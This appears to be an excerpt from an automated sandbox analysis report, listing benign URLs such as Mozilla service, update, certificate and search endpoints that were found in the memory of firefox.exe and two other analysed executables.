Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B43724000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B43781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B43724000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B43781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B43724000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: http://fb.me/use-check-prop-types
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: http://fb.me/use-check-prop-typesG
Source: firefox.exe, 0000001C.00000002.2784405003.0000025B497D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2781883670.0000025B496EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2793550511.0000025B4ADC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2781883670.0000025B49691000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753861945.0000025B458CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2777080126.0000025B4927F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2803080213.0000025B50E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2709492440.0000025B482A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2705372165.0000025B482BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2793550511.0000025B4ADBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2705533265.0000025B4828A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2709492440.0000025B482B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2766142861.0000025B48365000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2784405003.0000025B49709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2703222747.0000025B482F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764653610.0000025B482CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753861945.0000025B458C7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000D55000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000014.00000000.2485824811.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000000.2652573590.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000D55000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000D55000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000014.00000000.2485824811.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000000.2652573590.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000D55000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000D55000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000014.00000000.2485824811.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000000.2652573590.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000D55000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: http://pki-ocsp.symauth.com0
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: http://stackoverflow.com/questions/30030031)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttp://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: file.exe, file.exe, 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmp String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2005/app-updateSERVICE_UPDATER_COULD_NOT_BE_STARTEDSERVICE_NOT_ENOUGH_COMMAND
Source: firefox.exe, 0000001C.00000002.2791367449.0000025B4A903000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000001C.00000002.2784405003.0000025B497BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2766142861.0000025B48303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2778978283.0000025B494B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2784405003.0000025B4976D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753033132.0000025B45641000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: firefox.exe, 0000001C.00000002.2784405003.0000025B497FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2784405003.0000025B497BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4459E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulCan
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4459E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulUsing
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulbrowser.engagement.max_concurrent_tab_p
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/autoco
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-su
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4459E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://passwordmgr/locale/passwordmgr
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4459E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulcreateNotificationMessageElement/setAle
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4459E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuloncommand=closebuttoncommand
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://activity-stream/lib/ToolbarP
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/addons/SitePerms
Source: file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2419814880.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000003.2682882232.0000025B47F07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682651535.0000025B47D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757658099.0000025B47870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683095450.0000025B47F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/_flippedInheritedAttributes
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001C.00000002.2781883670.0000025B496C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B467F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767695343.0000025B485D3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741644582.0000025B37F0D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://basket.mozilla.org/news/subscribe/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://basket.mozilla.org/news/subscribe_sms/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://basket.mozilla.org/subscribe.json
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000002.2413355386.0000000028B02000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2413355386.0000000028B02000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 0000001C.00000002.2778623851.0000025B49303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180chrome://browser/content/browser-data-submission
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000002.2413355386.0000000028B02000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2413355386.0000000028B02000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001C.00000002.2741644582.0000025B37F0D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsFea
